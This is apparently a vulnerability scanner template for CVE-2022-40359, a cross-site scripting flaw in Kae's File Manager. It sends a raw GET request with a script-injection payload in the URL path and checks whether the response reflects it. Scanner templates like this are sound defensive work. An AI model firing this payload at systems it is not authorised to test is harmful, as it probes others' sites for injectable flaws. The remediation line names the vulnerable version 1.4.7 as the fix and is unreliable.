id: CVE-2022-40359

info:
  name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
  author: edoardottt,daffainfo
  severity: medium
  description: |
    Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
  remediation: |
    Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2022090057
    - https://code.google.com/archive/p/kfm/downloads
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40359
    cwe-id: CWE-79
    epss-score: 0.00109
    epss-percentile: 0.43676
    cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kfm_project
    product: kfm
  tags: cve,cve2022,xss,kfm

http:
  - raw:
      - |
        GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "x_kfm_changeCaption"
          - "kfm_copyFiles"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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